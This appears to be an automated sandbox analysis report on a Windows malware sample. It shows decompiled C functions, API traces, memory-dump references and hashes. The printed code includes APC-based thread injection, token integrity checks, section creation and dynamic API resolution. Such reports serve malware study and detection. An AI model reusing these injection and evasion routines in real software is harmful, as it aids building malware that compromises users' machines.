0x00926871
0x00926880
0x00926880
0x00000000
0x009268ae
0x009268ae
0x009268b3
0x009268d2
0x009268d4
0x009268d9
0x009268da
0x00000000
0x009268b5
0x009268b5
0x009268bb
0x00000000
0x009268bd
0x009268bd
0x009268c2
0x009268c4
0x009268c9
0x009268ca
0x009268e0
0x009268e0
0x009268e8
0x009268f3
0x009268f6
0x00926901
0x00926903
0x00926905
0x00926908
0x00000000
0x0092690e
0x00000000
0x0092690e
0x00926908
0x009268bb
0x00000000
0x009268b3
0x00926883
0x00926885
0x00926888
0x00926889
0x00926889
0x0092688d
0x00926897
0x00926897
0x0092689d
0x009268a0
0x009268a0
0x009268a6
0x009268a6
0x00926923
0x00000000

APIs

memset.NTDLL ref: 0092679B
CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 009267A7
_allmul.NTDLL(00000000,FF676980,000000FF), ref: 009267CC
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000), ref: 009267E8
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00926801
HeapFree.KERNEL32(00000000,00000000), ref: 00926897
CloseHandle.KERNEL32(?), ref: 009268A6
_allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 009268E0
SetWaitableTimer.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,00922417,?), ref: 009268F6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00926901

Part of subcall function 009273FD: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,032B9388,00000000,?,74B5F710,00000000,74B5F730), ref: 0092744C
Part of subcall function 009273FD: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,032B93C0,?,00000000,30314549,00000014,004F0053,032B937C), ref: 009274E9
Part of subcall function 009273FD: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,00926814), ref: 009274FB

GetLastError.KERNEL32 ref: 00926913

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
String ID:
API String ID: 3521023985-0
Opcode ID: da320a57270244daef34674bb6946058e007b3d3b8fc7ae1d53fe08a28006e40
Instruction ID: 47926f53a53e53394af52ef75feb64b61dc80bc0b33ea546e3da48db6751e30d
Opcode Fuzzy Hash: da320a57270244daef34674bb6946058e007b3d3b8fc7ae1d53fe08a28006e40
Instruction Fuzzy Hash: F6513BB1815229EBDF20DF94EC44EEEBFBCEF49360F204516F810A2198D7749A45DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000163F, Relevance: 15.1, APIs: 10, Instructions: 98
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000163F(char _a4) {
				long _v8;
				struct _SYSTEMTIME _v24;
				char _v48;
				void* __edi;
				long _t20;
				int _t22;
				long _t25;
				long _t26;
				long _t30;
				void* _t36;
				intOrPtr _t38;
				intOrPtr _t43;
				signed int _t44;
				void* _t48;
				signed int _t51;
				void* _t54;
				intOrPtr* _t55;

				_t20 = E10001850();
				_v8 = _t20;
				if(_t20 != 0) {
					return _t20;
				}
				do {
					GetSystemTime( &_v24);
					_t22 = SwitchToThread();
					asm("cdq");
					_t44 = 9;
					_t51 = _t22 + (_v24.wMilliseconds & 0x0000ffff) % _t44;
					_t25 = E100018F4(0, _t51); // executed
					_v8 = _t25;
					Sleep(_t51 << 5); // executed
					_t26 = _v8;
				} while (_t26 == 0xc);
				if(_t26 != 0) {
					L18:
					return _t26;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t54 = E100012DC(E1000135A,  &_v48);
					if(_t54 == 0) {
						_v8 = GetLastError();
					} else {
						_t30 = WaitForSingleObject(_t54, 0xffffffff);
						_v8 = _t30;
						if(_t30 == 0) {
							GetExitCodeThread(_t54,  &_v8);
						}
						CloseHandle(_t54);
					}
					_t26 = _v8;
					if(_t26 == 0xffffffff) {
						_t26 = GetLastError();
					}
					goto L18;
				}
				if(E10001538(_t44,  &_a4) != 0) {
					 *0x10004138 = 0;
					goto L11;
				}
				_t43 = _a4;
				_t55 = __imp__GetLongPathNameW;
				_t36 =  *_t55(_t43, 0, 0); // executed
				_t48 = _t36;
				if(_t48 == 0) {
					L9:
					 *0x10004138 = _t43;
					goto L11;
				}
				_t14 = _t48 + 2; // 0x2
				_t38 = E10001DE1(_t48 + _t14);
				 *0x10004138 = _t38;
				if(_t38 == 0) {
					goto L9;
				}
				 *_t55(_t43, _t38, _t48); // executed
				E10001DFC(_t43);
				goto L11;
			}

0x10001646
0x1000164f
0x10001652
0x10001742
0x10001742
0x10001659
0x1000165d
0x10001663
0x10001671
0x10001672
0x10001675
0x10001678
0x10001681
0x10001684
0x1000168a
0x1000168d
0x10001694
0x1000173f
0x00000000
0x1000173f
0x1000169e
0x100016ef
0x100016ef
0x10001705
0x1000170a
0x10001732
0x1000170c
0x1000170f
0x10001717
0x1000171a
0x10001721
0x10001721
0x10001728
0x10001728
0x10001735
0x1000173b
0x1000173d
0x1000173d
0x00000000
0x1000173b
0x100016ab
0x100016e9
0x00000000
0x100016e9
0x100016ad
0x100016b0
0x100016b9
0x100016bb
0x100016bf
0x100016e1
0x100016e1
0x00000000
0x100016e1
0x100016c1
0x100016c6
0x100016cd
0x100016d2
0x00000000
0x00000000
0x100016d7
0x100016da
0x00000000

APIs

Part of subcall function 10001850: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,74B063F0), ref: 1000185F
Part of subcall function 10001850: GetVersion.KERNEL32 ref: 1000186E
Part of subcall function 10001850: GetCurrentProcessId.KERNEL32 ref: 10001885
Part of subcall function 10001850: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

GetSystemTime.KERNEL32(?,00000000,74B063F0), ref: 1000165D
SwitchToThread.KERNEL32 ref: 10001663

Part of subcall function 100018F4: VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
Part of subcall function 100018F4: memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
Part of subcall function 100018F4: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Sleep.KERNELBASE(00000000,00000000), ref: 10001684
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016B9
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016D7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 1000170F
GetExitCodeThread.KERNEL32(00000000,?), ref: 10001721
CloseHandle.KERNEL32(00000000), ref: 10001728
GetLastError.KERNEL32(?,00000000), ref: 10001730
GetLastError.KERNEL32 ref: 1000173D

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction ID: 51f1b5d7b5d62603e0b6ca74e6a4c687eacd357270907eacbd85172d1a2e8795
Opcode Fuzzy Hash: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction Fuzzy Hash: 2D318F76901225ABE711EBA58C849DF77FDEF843D0B124226F914D3148EB34DB40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00921B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00921B2F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0092B0C2();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x92d27c; // 0x298a5a8
				_t5 = _t13 + 0x92e862; // 0x32b8e0a
				_t6 = _t13 + 0x92e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0092AD5A();
				_t17 = CreateFileMappingW(0xffffffff, 0x92d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x00921b2f
0x00921b37
0x00921b3b
0x00921b41
0x00921b46
0x00921b4b
0x00921b4e
0x00921b51
0x00921b56
0x00921b57
0x00921b5a
0x00921b5f
0x00921b66
0x00921b70
0x00921b72
0x00921b73
0x00921b76
0x00921b92
0x00921b98
0x00921b9c
0x00921bea
0x00921b9e
0x00921bab
0x00921bbb
0x00921bc3
0x00921bd5
0x00921bd9
0x00000000
0x00000000
0x00921bc5
0x00921bc8
0x00921bcd
0x00921bcf
0x00921bcf
0x00921bad
0x00921baf
0x00921bdb
0x00921bdc
0x00921bdc
0x00921bab
0x00921bf1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,009222EA,?,?,4D283A53,?,?), ref: 00921B3B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 00921B51
_snwprintf.NTDLL ref: 00921B76
CreateFileMappingW.KERNELBASE(000000FF,0092D2A8,00000004,00000000,00001000,?), ref: 00921B92
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,009222EA,?,?,4D283A53), ref: 00921BA4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 00921BBB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,009222EA,?,?), ref: 00921BDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,009222EA,?,?,4D283A53), ref: 00921BE4

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 77d9fdc5e021ae47f2323a8c29177f26ab5f0e8832b55866c16a1c063f666157
Instruction ID: 48000a2c820c3fe401e5888c1a817e04bf3e14dbf796e2f8b5f68c60d6dd4da0
Opcode Fuzzy Hash: 77d9fdc5e021ae47f2323a8c29177f26ab5f0e8832b55866c16a1c063f666157
Instruction Fuzzy Hash: 482124B2644218FBDB21ABA4EC05F9E37BCAF88740F200161F605E71D8E77099019B90

Uniqueness

Uniqueness Score: -1.00%

Function 0092924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0092924F(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x92d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E00922049(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E00929039(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x0092925c
0x00929263
0x0092926a
0x0092927e
0x00929289
0x009292a1
0x009292ae
0x009292b1
0x009292b6
0x009292c1
0x009292c5
0x009292d4
0x009292d8
0x009292f4
0x009292f4
0x009292f8
0x009292f8
0x009292fd
0x00929301
0x00929307
0x00929308
0x0092930f
0x00929315

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 00929281
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 009292A1
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 009292B1
CloseHandle.KERNEL32(00000000), ref: 00929301

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 009292D4
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 009292DC
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 009292EC

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 81de949f1b8d267a14dd2ac458f10a904546070a42a9e89d451fdec395791516
Instruction ID: ca0f8820aac69f08e4f63818a053276fb5facfa849b8ef293aff8d0017f504e0
Opcode Fuzzy Hash: 81de949f1b8d267a14dd2ac458f10a904546070a42a9e89d451fdec395791516
Instruction Fuzzy Hash: 09213C7590421DFFEB119F94DC84EEEBB7DEB45304F100065E910A61A1C7719E05EB60

Uniqueness

Uniqueness Score: -1.00%

Function 0092163F, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00921680
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 00921702
StrStrIW.SHLWAPI(?,006E0069), ref: 00921741
SysFreeString.OLEAUT32(?), ref: 00921763

Part of subcall function 009252F9: SysAllocString.OLEAUT32(0092C2B0), ref: 00925349

SafeArrayDestroy.OLEAUT32(?), ref: 009217B7
SysFreeString.OLEAUT32(?), ref: 009217C5

Part of subcall function 00922436: Sleep.KERNELBASE(000001F4), ref: 0092247E

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 25ba8fc738af13b3b02b965f09cb2dc568e61399e7d302dfe176032936b3a532
Instruction ID: 4ef2fae176b715806bf660c6851d410d44d535b49fc3d9f66a9ffd424a8c7784
Opcode Fuzzy Hash: 25ba8fc738af13b3b02b965f09cb2dc568e61399e7d302dfe176032936b3a532
Instruction Fuzzy Hash: B6515076900219EFDB10DFE8D8849AEB7BAFFC8340B148829E515EB224D771AD56CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001A0F(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E10001DE1(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x10004150 + 0x10005014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x10004150 + 0x10005151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E10001DFC(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x10004150 + 0x10005161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x10004150 + 0x10005174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x10004150 + 0x10005189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x10004150 + 0x1000519f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E10001EB5(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x10001a1d
0x10001a21
0x10001ae2
0x10001a27
0x10001a3f
0x10001a4e
0x10001a55
0x10001a59
0x10001a5c
0x10001ada
0x10001adb
0x10001a5e
0x10001a6b
0x10001a6f
0x10001a72
0x00000000
0x10001a74
0x10001a81
0x10001a85
0x10001a88
0x00000000
0x10001a8a
0x10001a97
0x10001a9b
0x10001a9e
0x00000000
0x10001aa0
0x10001aad
0x10001ab1
0x10001ab4
0x00000000
0x10001ab6
0x10001abc
0x10001ac2
0x10001ac7
0x10001ace
0x10001ad1
0x00000000
0x10001ad3
0x10001ad6
0x10001ad6
0x10001ad1
0x10001ab4
0x10001a9e
0x10001a88
0x10001a72
0x10001a5c
0x10001af0

APIs

Part of subcall function 10001DE1: HeapAlloc.KERNEL32(00000000,?,10001556,00000208,00000000,00000000,?,?,?,100016A9,?), ref: 10001DED

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 10001EB5: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74B04EE0,00000000,00000000,?), ref: 10001F12
Part of subcall function 10001EB5: memset.NTDLL ref: 10001F34

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction ID: 8e690bc40ad544dced62eb57c6a0da5a983291de411777cdb34876cf766fb635
Opcode Fuzzy Hash: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction Fuzzy Hash: 5F2117B1601B1AAFE750DFA9DC84EDB7BECEF493C07024466E905C7219EB31E9018B61

Uniqueness

Uniqueness Score: -1.00%

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x10004108);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x1000410c;
						if( *0x1000410c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x10004118;
								if( *0x10004118 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x1000410c);
						}
						HeapDestroy( *0x10004110);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x10004108) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x10004110 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x10004130 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E100012DC(E1000111A, E100015EE(_a12, 1, 0x10004118, _t41));
							 *0x1000410c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x10001afd
0x10001b09
0x10001b0b
0x10001b0e
0x10001b84
0x10001b8a
0x10001b8c
0x10001b8e
0x10001b94
0x10001b96
0x10001b9b
0x10001b9e
0x10001ba9
0x10001bab
0x00000000
0x00000000
0x10001bad
0x10001bb0
0x10001bb2
0x00000000
0x00000000
0x00000000
0x10001bb2
0x10001bba
0x10001bba
0x10001bc6
0x10001bc6
0x10001b10
0x10001b11
0x10001b31
0x10001b37
0x10001b39
0x10001b3e
0x10001b7a
0x10001b7a
0x10001b40
0x10001b48
0x10001b4f
0x10001b59
0x10001b65
0x10001b6c
0x10001b71
0x10001b76
0x00000000
0x10001b76
0x10001b71
0x10001b3e
0x10001b11
0x10001bd3

APIs

InterlockedIncrement.KERNEL32(10004108), ref: 10001B1C
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 10001B31

Part of subcall function 100012DC: CreateThread.KERNEL32 ref: 100012F3
Part of subcall function 100012DC: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
Part of subcall function 100012DC: GetLastError.KERNEL32(00000000), ref: 10001313
Part of subcall function 100012DC: TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
Part of subcall function 100012DC: CloseHandle.KERNEL32(00000000), ref: 10001324
Part of subcall function 100012DC: SetLastError.KERNEL32(00000000), ref: 1000132D

InterlockedDecrement.KERNEL32(10004108), ref: 10001B84
SleepEx.KERNEL32(00000064,00000001), ref: 10001B9E
CloseHandle.KERNEL32 ref: 10001BBA
HeapDestroy.KERNEL32 ref: 10001BC6

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction ID: f0df8185a4137bf23340b4e7eb087222ae8a4cbb436f36e741c86f19ce9e809b
Opcode Fuzzy Hash: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction Fuzzy Hash: 922190B5601216AFF701DF69CCC4ACA7FE8FB642E07128129FA05D3168EB708D808B94

Uniqueness

Uniqueness Score: -1.00%

Function 00926A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00926A56(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x92d238 = _t10;
				if(_t10 != 0) {
					 *0x92d1a8 = GetTickCount();
					_t12 = E00928F10(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0092B226();
							_t33 = _t14 + _t16;
							_t18 = E00927E03(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E00926B96(_t25) != 0) {
							 *0x92d260 = 1; // executed
						}
						_t12 = E0092225B(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x00926a56
0x00926a5c
0x00926a5d
0x00926a69
0x00926a71
0x00926a76
0x00926a86
0x00926a8b
0x00926a92
0x00926a94
0x00926a99
0x00926a9f
0x00926aa5
0x00926aaf
0x00926ab3
0x00926ab5
0x00926aba
0x00926abb
0x00926abc
0x00926ac1
0x00926ac7
0x00926ad0
0x00926ad1
0x00926ad6
0x00926adc
0x00926ae8
0x00926aea
0x00926aea
0x00926af4
0x00926af4
0x00926a78
0x00926a7a
0x00926a7a
0x00926afe

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0092807D,?), ref: 00926A69
GetTickCount.KERNEL32 ref: 00926A7D
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,0092807D,?), ref: 00926A99
SwitchToThread.KERNEL32(?,00000001,?,?,?,0092807D,?), ref: 00926A9F
_aullrem.NTDLL(?,?,00000009,00000000), ref: 00926ABC
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,0092807D,?), ref: 00926AD6

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: 09b5ff4ccb7cb197d6af340030f56ade8eac17c3a6a079ca1749ed75f70a135e
Instruction ID: 55727336093b9eec3a4debe814da856c7b6b86426dfa1a1dd65623f9613c3604
Opcode Fuzzy Hash: 09b5ff4ccb7cb197d6af340030f56ade8eac17c3a6a079ca1749ed75f70a135e
Instruction Fuzzy Hash: EE11C6B2658210BFE724AF74FC0AB5E3698AB84350F104528F504D6594EAB0D80197A2

Uniqueness

Uniqueness Score: -1.00%

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100012DC(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x1000414c, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x100012f3
0x100012f9
0x100012fd
0x10001308
0x10001310
0x10001319
0x1000131d
0x10001324
0x1000132b
0x1000132d
0x10001333
0x10001310
0x10001337

APIs

CreateThread.KERNEL32 ref: 100012F3
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
GetLastError.KERNEL32(00000000), ref: 10001313
TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
CloseHandle.KERNEL32(00000000), ref: 10001324
SetLastError.KERNEL32(00000000), ref: 1000132D

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
